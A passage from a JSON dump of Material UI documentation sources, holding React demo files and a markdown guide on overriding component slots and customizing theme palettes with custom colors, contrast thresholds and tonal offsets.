constant, to avoid rerendering. This will ensure that the `<style>` tag generated would not recalculate on each render.\n:::\n\n```diff\n import * as React from 'react';\n import GlobalStyles from '@mui/material/GlobalStyles';\n\n+const inputGlobalStyles = <GlobalStyles styles={...} />;\n\n function Input(props) {\n   return (\n     <React.Fragment>\n-      <GlobalStyles styles={...} />\n+      {inputGlobalStyles}\n       <input {...props} />\n     </React.Fragment>\n   )\n }\n```\n"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/OverridingInternalSlot.js",
    "content": "import Box from '@mui/material/Box';\nimport PropTypes from 'prop-types';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nfunction PopperComponent(props) {\n  const { disablePortal, anchorEl, open, ...other } = props;\n  return <div {...other} />;\n}\n\nPopperComponent.propTypes = {\n  anchorEl: PropTypes.any,\n  disablePortal: PropTypes.bool,\n  open: PropTypes.bool.isRequired,\n};\n\nexport default function OverridingInternalSlot() {\n  return (\n    <Box\n      sx={{ display: 'flex', flexDirection: 'column', width: 320, minHeight: 220 }}\n    >\n      <Autocomplete\n        open\n        options={['🆘 Need help', '✨ Improvement', '🚀 New feature', '🐛 Bug fix']}\n        renderInput={(params) => <TextField {...params} />}\n        slots={{\n          popper: PopperComponent,\n        }}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/OverridingInternalSlot.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\ninterface PopperComponentProps {\n  anchorEl?: any;\n  disablePortal?: boolean;\n  open: boolean;\n}\n\nfunction PopperComponent(props: PopperComponentProps) {\n  const { disablePortal, anchorEl, open, ...other } = props;\n  return <div {...other} />;\n}\n\nexport default function OverridingInternalSlot() {\n  return (\n    <Box\n      sx={{ display: 'flex', flexDirection: 'column', width: 320, minHeight: 220 }}\n    >\n      <Autocomplete\n        open\n        options={['🆘 Need help', '✨ Improvement', '🚀 New feature', '🐛 Bug fix']}\n        renderInput={(params) => <TextField {...params} />}\n        slots={{\n          popper: PopperComponent,\n        }}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/OverridingInternalSlot.tsx.preview",
    "content": "<Autocomplete\n  open\n  options={['🆘 Need help', '✨ Improvement', '🚀 New feature', '🐛 Bug fix']}\n  renderInput={(params) => <TextField {...params} />}\n  slots={{\n    popper: PopperComponent,\n  }}\n/>"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/OverridingRootSlot.js",
    "content": "import Button from '@mui/material/Button';\n\nexport default function OverridingRootSlot() {\n  return (\n    <Button\n      component=\"a\"\n      href=\"https://mui.com/about/\"\n      target=\"_blank\"\n      rel=\"noopener\"\n    >\n      About us\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/OverridingRootSlot.tsx",
    "content": "import Button from '@mui/material/Button';\n\nexport default function OverridingRootSlot() {\n  return (\n    <Button\n      component=\"a\"\n      href=\"https://mui.com/about/\"\n      target=\"_blank\"\n      rel=\"noopener\"\n    >\n      About us\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/OverridingRootSlot.tsx.preview",
    "content": "<Button\n  component=\"a\"\n  href=\"https://mui.com/about/\"\n  target=\"_blank\"\n  rel=\"noopener\"\n>\n  About us\n</Button>"
  },
  {
    "path": "docs/data/material/customization/overriding-component-structure/overriding-component-structure.md",
    "content": "# Overriding component structure\n\n<p class=\"description\">Learn how to override the default DOM structure of Material UI components.</p>\n\nMaterial UI components are designed to suit the widest possible range of use cases, but you may occasionally need to change how a component's structure is rendered in the DOM.\n\nTo understand how to do this, it helps to know a bit about how the API design has evolved over time, and to have an accurate mental model of the components themselves.\n\n## Context\n\nPrior to Material UI v6, it was not possible to override the structure of most components in the library.\nSome components had `*Props` props that allowed you to pass props to a specific slot, but this pattern was not applied consistently.\n\nIn v6, those props were deprecated in favor of the `slots` and `slotProps` props, which allow for more granular control over the structure of a component and make the API more consistent across the library.\n\n## The mental model\n\nA component's structure is determined by the elements that fill that component's **slots**.\nSlots are most commonly filled by HTML tags, but may also be filled by React components.\n\nAll components contain a root slot that defines their primary node in the DOM tree; more complex components also contain additional interior slots named after the elements they represent.\n\n:::info\nTo see the available slots for a component, refer to the slots sections of the respective component API documentation.\n:::\n\nAll _non-utility_ Material UI components accept two props for overriding their rendered HTML structure:\n\n- `component`—to override the root slot\n- `slots`—to replace any interior slots (when present) as well as the root\n\nAdditionally, you can pass custom props to interior slots using `slotProps`.\n\n## The root slot\n\nThe root slot represents the component's outermost element. It is filled by a styled component with an appropriate HTML element.\n\nFor example, the [Button's](/material-ui/react-button/) root slot is a `<button>` element.\nThis component _only_ has a root slot; more complex components may have additional [interior slots](#interior-slots).\n\n### The component prop\n\nUse the `component` prop to override a component's root slot.\nThe demo below shows how to replace the Button's `<button>` tag with a `<a>` to create a link button:\n\n{{\"demo\": \"OverridingRootSlot.js\"}}\n\n:::info\nThe `href`, `target`, and `rel` props are specific to `<a>` tags.\nWhen using the `component` prop, be sure to add the appropriate attributes that correspond to the element you're inserting.\n:::\n\n## Interior slots\n\nComplex components are composed of one or more interior slots in addition to the root.\nThese slots are often (but not necessarily) nested within the root.\n\nFor example, the [Autocomplete](/material-ui/react-autocomplete/) is composed of a root `<div>` that houses several interior slots named for the elements they represent: input, startDecorator, endDecorator, clearIndicator, popupIndicator, and more.\n\n### The slots prop\n\nUse the `slots` prop to replace a component's interior slots.\nThe example below shows how to replace the popper slot in the [Autocomplete](/material-ui/react-autocomplete/) component to remove the popup functionality:\n\n{{\"demo\": \"OverridingInternalSlot.js\"}}\n\n### The slotProps prop\n\nThe `slotProps` prop is an object that contains the props for all slots within a component.\nYou can use it to define additional custom props to pass to a component's interior slots.\n\nFor example, the code snippet below shows how to add a custom `data-testid` to the popper slot of the [Autocomplete](/material-ui/react-autocomplete/) component:\n\n```jsx\n<Autocomplete slotProps={{ popper: { 'data-testid': 'my-popper' } }} />\n```\n\nAll additional props placed on the primary component are also propagated into the root slot (just as if they were placed in `slotProps.root`).\nThese two examples are equivalent:\n\n```jsx\n<Badge id=\"badge1\">\n```\n\n```jsx\n<Badge slotProps={{ root: { id: 'badge1' } }}>\n```\n\n:::warning\nIf both `slotProps.root` and additional props have the same keys but different values, the `slotProps.root` props will take precedence.\nThis does not apply to classes or the `style` prop—they will be merged instead.\n:::\n\n### Type safety\n\nThe `slotProps` prop is not dynamically typed based on the custom `slots` prop, so if the custom slot has a different type than the default slot, you have to cast the type to avoid TypeScript errors and use `satisfies` (available in TypeScript 4.9) to ensure type safety for the custom slot.\n\nThe example below shows how to customize the `img` slot of the [Avatar](/material-ui/react-avatar/) component using [Next.js Image](https://nextjs.org/docs/app/api-reference/components/image) component:\n\n```tsx\nimport Image, { ImageProps } from 'next/image';\nimport Avatar, { AvatarProps } from '@mui/material/Avatar';\n\n<Avatar\n  slots={{\n    img: Image,\n  }}\n  slotProps={\n    {\n      img: {\n        src: 'https://example.com/image.jpg',\n        alt: 'Image',\n        width: 40,\n        height: 40,\n        blurDataURL: 'data:image/png;base64',\n      } satisfies ImageProps,\n    } as AvatarProps['slotProps']\n  }\n/>;\n```\n\n## Best practices\n\nUse the `component` or `slotProps.{slot}.component` prop when you need to override the element while preserving the styles of the slot.\n\nUse the `slots` prop when you need to replace the slot's styles and functionality with your custom component.\n\nOverriding with `component` lets you apply the attributes of that element directly to the root.\nFor instance, if you override the Button's root with an `<li>` tag, you can add the `<li>` attribute `value` directly to the component.\nIf you did the same with `slots.root`, you would need to place this attribute on the `slotProps.root` object in order to avoid a TypeScript error.\n\nBe mindful of your rendered DOM structure when overriding the slots of more complex components.\nYou can easily break the rules of semantic and accessible HTML if you deviate too far from the default structure—for instance, by unintentionally nesting block-level elements inside of inline elements.\n"
  },
  {
    "path": "docs/data/material/customization/palette/AddingColorTokens.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { blue } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      light: blue[300],\n      main: blue[500],\n      dark: blue[700],\n      darker: blue[900],\n    },\n  },\n});\n\nexport default function AddingColorTokens() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">light</Typography>\n          <Box sx={{ bgcolor: `primary.light`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">main</Typography>\n          <Box sx={{ bgcolor: `primary.main`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">dark</Typography>\n          <Box sx={{ bgcolor: `primary.dark`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">darker</Typography>\n          <Box sx={{ bgcolor: `primary.darker`, width: 40, height: 20 }} />\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/AddingColorTokens.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { blue } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\ndeclare module '@mui/material/styles' {\n  interface PaletteColor {\n    darker?: string;\n  }\n\n  interface SimplePaletteColorOptions {\n    darker?: string;\n  }\n}\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      light: blue[300],\n      main: blue[500],\n      dark: blue[700],\n      darker: blue[900],\n    },\n  },\n});\n\nexport default function AddingColorTokens() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">light</Typography>\n          <Box sx={{ bgcolor: `primary.light`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">main</Typography>\n          <Box sx={{ bgcolor: `primary.main`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">dark</Typography>\n          <Box sx={{ bgcolor: `primary.dark`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">darker</Typography>\n          <Box sx={{ bgcolor: `primary.darker`, width: 40, height: 20 }} />\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ContrastThreshold.js",
    "content": "import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport { Stack } from '@mui/system';\n\nconst defaultContrastThresholdTheme = createTheme({});\n\nconst highContrastThresholdTheme = createTheme({\n  palette: {\n    contrastThreshold: 4.5,\n  },\n});\n\nfunction ContrastShowcase(props) {\n  const { title } = props;\n  const theme = useTheme();\n\n  return (\n    <Stack sx={{ gap: 1, alignItems: 'center' }}>\n      <span>\n        <b>{title}</b>\n      </span>\n      <span>{theme.palette.contrastThreshold}:1</span>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Button variant=\"contained\" color=\"warning\">\n          Warning\n        </Button>\n      </Stack>\n    </Stack>\n  );\n}\n\nContrastShowcase.propTypes = {\n  title: PropTypes.string.isRequired,\n};\n\nexport default function ContrastThreshold() {\n  return (\n    <Stack direction=\"row\" sx={{ gap: 4 }}>\n      <ThemeProvider theme={defaultContrastThresholdTheme}>\n        <ContrastShowcase title=\"Default contrast threshold\" />\n      </ThemeProvider>\n      <ThemeProvider theme={highContrastThresholdTheme}>\n        <ContrastShowcase title=\"Higher contrast threshold\" />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ContrastThreshold.tsx",
    "content": "import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport { Stack } from '@mui/system';\n\nconst defaultContrastThresholdTheme = createTheme({});\n\nconst highContrastThresholdTheme = createTheme({\n  palette: {\n    contrastThreshold: 4.5,\n  },\n});\n\nfunction ContrastShowcase(props: { title: string }) {\n  const { title } = props;\n  const theme = useTheme();\n\n  return (\n    <Stack sx={{ gap: 1, alignItems: 'center' }}>\n      <span>\n        <b>{title}</b>\n      </span>\n      <span>{theme.palette.contrastThreshold}:1</span>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Button variant=\"contained\" color=\"warning\">\n          Warning\n        </Button>\n      </Stack>\n    </Stack>\n  );\n}\n\nexport default function ContrastThreshold() {\n  return (\n    <Stack direction=\"row\" sx={{ gap: 4 }}>\n      <ThemeProvider theme={defaultContrastThresholdTheme}>\n        <ContrastShowcase title=\"Default contrast threshold\" />\n      </ThemeProvider>\n      <ThemeProvider theme={highContrastThresholdTheme}>\n        <ContrastShowcase title=\"Higher contrast threshold\" />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ContrastThreshold.tsx.preview",
    "content": "<ThemeProvider theme={defaultContrastThresholdTheme}>\n  <ContrastShowcase title=\"Default contrast threshold\" />\n</ThemeProvider>\n<ThemeProvider theme={highContrastThresholdTheme}>\n  <ContrastShowcase title=\"Higher contrast threshold\" />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/palette/CustomColor.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  palette: {\n    neutral: {\n      light: '#838fa2',\n      main: '#64748b',\n      dark: '#465161',\n      contrastText: '#fff',\n    },\n  },\n});\n\nexport default function CustomColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button color=\"neutral\" variant=\"contained\">\n        neutral\n      </Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/CustomColor.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  palette: {\n    neutral: {\n      light: '#838fa2',\n      main: '#64748b',\n      dark: '#465161',\n      contrastText: '#fff',\n    },\n  },\n});\n\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    neutral: Palette['primary'];\n  }\n\n  // allow configuration using `createTheme()`\n  interface PaletteOptions {\n    neutral?: PaletteOptions['primary'];\n  }\n}\n\n// @babel-ignore-comment-in-output Update the Button's color prop options\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    neutral: true;\n  }\n}\n\nexport default function CustomColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button color=\"neutral\" variant=\"contained\">\n        neutral\n      </Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/CustomColor.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button color=\"neutral\" variant=\"contained\">\n    neutral\n  </Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/palette/Intentions.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport { useTheme, rgbToHex, styled } from '@mui/material/styles';\n\nconst Group = styled(Typography)(({ theme }) => ({\n  marginTop: theme.spacing(3),\n}));\n\nconst Color = styled(Grid)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  '& div:first-of-type': {\n    width: theme.spacing(6),\n    height: theme.spacing(6),\n    marginRight: theme.spacing(1),\n    borderRadius: theme.shape.borderRadius,\n    boxShadow: 'inset 0 2px 4px 0 rgba(0, 0, 0, .06)',\n  },\n}));\n\nexport default function Intentions() {\n  const theme = useTheme();\n\n  const item = (color, name) => (\n    <Color size={{ xs: 12, sm: 6, md: 4 }}>\n      <div style={{ backgroundColor: color }} />\n      <div>\n        <Typography variant=\"body2\">{name}</Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          {rgbToHex(color)}\n        </Typography>\n      </div>\n    </Color>\n  );\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Group gutterBottom>Primary</Group>\n      <Grid container spacing={2}>\n        {item(theme.palette.primary.light, 'palette.primary.light')}\n        {item(theme.palette.primary.main, 'palette.primary.main')}\n        {item(theme.palette.primary.dark, 'palette.primary.dark')}\n      </Grid>\n      <Group gutterBottom>Secondary</Group>\n      <Grid container spacing={2}>\n        {item(theme.palette.secondary.light, 'palette.secondary.light')}\n        {item(theme.palette.secondary.main, 'palette.secondary.main')}\n        {item(theme.palette.secondary.dark, 'palette.secondary.dark')}\n      </Grid>\n      <Group gutterBottom>Error</Group>\n      <Grid container spacing={2}>\n        {item(theme.palette.error.light, 'palette.error.light')}\n        {item(theme.palette.error.main, 'palette.error.main')}\n        {item(theme.palette.error.dark, 'palette.error.dark')}\n      </Grid>\n      <Group gutterBottom>Warning</Group>\n      <Grid container spacing={2}>\n        {item(theme.palette.warning.light, 'palette.warning.light')}\n        {item(theme.palette.warning.main, 'palette.warning.main')}\n        {item(theme.palette.warning.dark, 'palette.warning.dark')}\n      </Grid>\n      <Group gutterBottom>Info</Group>\n      <Grid container spacing={2}>\n        {item(theme.palette.info.light, 'palette.info.light')}\n        {item(theme.palette.info.main, 'palette.info.main')}\n        {item(theme.palette.info.dark, 'palette.info.dark')}\n      </Grid>\n      <Group gutterBottom>Success</Group>\n      <Grid container spacing={2}>\n        {item(theme.palette.success.light, 'palette.success.light')}\n        {item(theme.palette.success.main, 'palette.success.main')}\n        {item(theme.palette.success.dark, 'palette.success.dark')}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ManuallyProvideCustomColor.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\n// Augment the palette to include an ochre color\n\n// Update the Button's color options to include an ochre option\n\nconst theme = createTheme({\n  palette: {\n    ochre: {\n      main: '#E3D026',\n      light: '#E9DB5D',\n      dark: '#A29415',\n      contrastText: '#242105',\n    },\n  },\n});\n\nexport default function ManuallyProvideCustomColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack sx={{ gap: 2, alignItems: 'center' }}>\n        <Button variant=\"contained\" color=\"ochre\">\n          Ochre\n        </Button>\n        <Stack direction=\"row\" sx={{ gap: 1 }}>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">light</Typography>\n            <Box sx={{ bgcolor: 'ochre.light', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">main</Typography>\n            <Box sx={{ bgcolor: 'ochre.main', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">dark</Typography>\n            <Box sx={{ bgcolor: 'ochre.dark', width: 40, height: 20 }} />\n          </Stack>\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ManuallyProvideCustomColor.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\n// Augment the palette to include an ochre color\ndeclare module '@mui/material/styles' {\n  interface Palette {\n    ochre: Palette['primary'];\n  }\n\n  interface PaletteOptions {\n    ochre?: PaletteOptions['primary'];\n  }\n}\n\n// Update the Button's color options to include an ochre option\ndeclare module '@mui/material/Button' {\n  interface ButtonPropsColorOverrides {\n    ochre: true;\n  }\n}\n\nconst theme = createTheme({\n  palette: {\n    ochre: {\n      main: '#E3D026',\n      light: '#E9DB5D',\n      dark: '#A29415',\n      contrastText: '#242105',\n    },\n  },\n});\n\nexport default function ManuallyProvideCustomColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack sx={{ gap: 2, alignItems: 'center' }}>\n        <Button variant=\"contained\" color=\"ochre\">\n          Ochre\n        </Button>\n        <Stack direction=\"row\" sx={{ gap: 1 }}>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">light</Typography>\n            <Box sx={{ bgcolor: 'ochre.light', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">main</Typography>\n            <Box sx={{ bgcolor: 'ochre.main', width: 40, height: 20 }} />\n          </Stack>\n          <Stack sx={{ alignItems: 'center' }}>\n            <Typography variant=\"body2\">dark</Typography>\n            <Box sx={{ bgcolor: 'ochre.dark', width: 40, height: 20 }} />\n          </Stack>\n        </Stack>\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ManuallyProvidePaletteColor.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport { unstable_capitalize as capitalize } from '@mui/utils';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: '#FF5733',\n      // light: will be calculated from palette.primary.main,\n      // dark: will be calculated from palette.primary.main,\n      // contrastText: will be calculated to contrast with palette.primary.main\n    },\n    secondary: {\n      main: '#E0C2FF',\n      light: '#F5EBFF',\n      // dark: will be calculated from palette.secondary.main,\n      contrastText: '#47008F',\n    },\n  },\n});\n\nfunction ColorShowcase({ color }) {\n  return (\n    <Stack sx={{ gap: 2, alignItems: 'center' }}>\n      <Button variant=\"contained\" color={color}>\n        {capitalize(color)}\n      </Button>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">light</Typography>\n          <Box sx={{ bgcolor: `${color}.light`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">main</Typography>\n          <Box sx={{ bgcolor: `${color}.main`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">dark</Typography>\n          <Box sx={{ bgcolor: `${color}.dark`, width: 40, height: 20 }} />\n        </Stack>\n      </Stack>\n    </Stack>\n  );\n}\n\nColorShowcase.propTypes = {\n  color: PropTypes.oneOf(['primary', 'secondary']).isRequired,\n};\n\nexport default function ManuallyProvidePaletteColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack direction=\"row\" sx={{ gap: 8 }}>\n        <ColorShowcase color=\"primary\" />\n        <ColorShowcase color=\"secondary\" />\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ManuallyProvidePaletteColor.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport { unstable_capitalize as capitalize } from '@mui/utils';\nimport Typography from '@mui/material/Typography';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      main: '#FF5733',\n      // light: will be calculated from palette.primary.main,\n      // dark: will be calculated from palette.primary.main,\n      // contrastText: will be calculated to contrast with palette.primary.main\n    },\n    secondary: {\n      main: '#E0C2FF',\n      light: '#F5EBFF',\n      // dark: will be calculated from palette.secondary.main,\n      contrastText: '#47008F',\n    },\n  },\n});\n\nfunction ColorShowcase({ color }: { color: 'primary' | 'secondary' }) {\n  return (\n    <Stack sx={{ gap: 2, alignItems: 'center' }}>\n      <Button variant=\"contained\" color={color}>\n        {capitalize(color)}\n      </Button>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">light</Typography>\n          <Box sx={{ bgcolor: `${color}.light`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">main</Typography>\n          <Box sx={{ bgcolor: `${color}.main`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">dark</Typography>\n          <Box sx={{ bgcolor: `${color}.dark`, width: 40, height: 20 }} />\n        </Stack>\n      </Stack>\n    </Stack>\n  );\n}\n\nexport default function ManuallyProvidePaletteColor() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Stack direction=\"row\" sx={{ gap: 8 }}>\n        <ColorShowcase color=\"primary\" />\n        <ColorShowcase color=\"secondary\" />\n      </Stack>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/ManuallyProvidePaletteColor.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Stack direction=\"row\" sx={{ gap: 8 }}>\n    <ColorShowcase color=\"primary\" />\n    <ColorShowcase color=\"secondary\" />\n  </Stack>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/palette/Palette.js",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { purple } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      // Purple and green play nicely together.\n      main: purple[500],\n    },\n    secondary: {\n      // This is green.A700 as hex.\n      main: '#11cb5f',\n    },\n  },\n});\n\nexport default function Palette() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>Primary</Button>\n      <Button color=\"secondary\">Secondary</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/Palette.tsx",
    "content": "import { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { purple } from '@mui/material/colors';\nimport Button from '@mui/material/Button';\n\nconst theme = createTheme({\n  palette: {\n    primary: {\n      // Purple and green play nicely together.\n      main: purple[500],\n    },\n    secondary: {\n      // This is green.A700 as hex.\n      main: '#11cb5f',\n    },\n  },\n});\n\nexport default function Palette() {\n  return (\n    <ThemeProvider theme={theme}>\n      <Button>Primary</Button>\n      <Button color=\"secondary\">Secondary</Button>\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/Palette.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <Button>Primary</Button>\n  <Button color=\"secondary\">Secondary</Button>\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/palette/ToggleColorMode.tsx.preview",
    "content": "<ColorModeContext.Provider value={colorMode}>\n  <ThemeProvider theme={theme}>\n    <MyApp />\n  </ThemeProvider>\n</ColorModeContext.Provider>"
  },
  {
    "path": "docs/data/material/customization/palette/TonalOffset.js",
    "content": "import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport { blue } from '@mui/material/colors';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst defaultTonalOffsetTheme = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n  },\n});\n\nconst higherTonalOffsetTheme = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n    tonalOffset: 0.5,\n  },\n});\n\nconst asymmetricTonalOffsetTheme = createTheme({\n  palette: {\n    primary: {\n      main: blue[500],\n    },\n    tonalOffset: {\n      light: 0.1,\n      dark: 0.9,\n    },\n  },\n});\n\nfunction ColorShowcase({ title, color }) {\n  const {\n    palette: { tonalOffset },\n  } = useTheme();\n\n  let caption;\n  if (typeof tonalOffset === 'number') {\n    caption = tonalOffset;\n  } else {\n    caption = `{ light: ${tonalOffset.light}, dark: ${tonalOffset.dark} }`;\n  }\n\n  return (\n    <Stack sx={{ gap: 1, alignItems: 'center' }}>\n      <span>\n        <b>{title}</b>\n      </span>\n      <span>{caption}</span>\n      <Stack direction=\"row\" sx={{ gap: 1 }}>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">light</Typography>\n          <Box sx={{ bgcolor: `${color}.light`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">main</Typography>\n          <Box sx={{ bgcolor: `${color}.main`, width: 40, height: 20 }} />\n        </Stack>\n        <Stack sx={{ alignItems: 'center' }}>\n          <Typography variant=\"body2\">dark</Typography>\n          <Box sx={{ bgcolor: `${color}.dark`, width: 40, height: 20 }} />\n        </Stack>\n      </Stack>\n    </Stack>\n  );\n}\n\nColorShowcase.propTypes = {\n  color: PropTypes.string.isRequired,\n  title: PropTypes.string.isRequired,\n};\n\nexport default function TonalOffset() {\n  return (\n    <Stack direction={{ xs: 'column', sm: 'row' }} sx={{ gap: 8 }}>\n      <ThemeProvider theme={defaultTonalOffsetTheme}>\n        <ColorShowcase title=\"Default tonal offset\" color=\"primary\" />\n      </ThemeProvider>\n      <ThemeProvider theme={higherTonalOffsetTheme}>\n        <ColorShowcase title=\"Higher tonal offset\" color=\"primary\" />\n      </ThemeProvider>\n      <ThemeProvider theme={asymmetricTonalOffsetTheme}>\n        <ColorShowcase title=\"Asymmetric tonal offset\" color=\"primary\" />\n      </ThemeProvider>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/palette/TonalOffset.tsx",
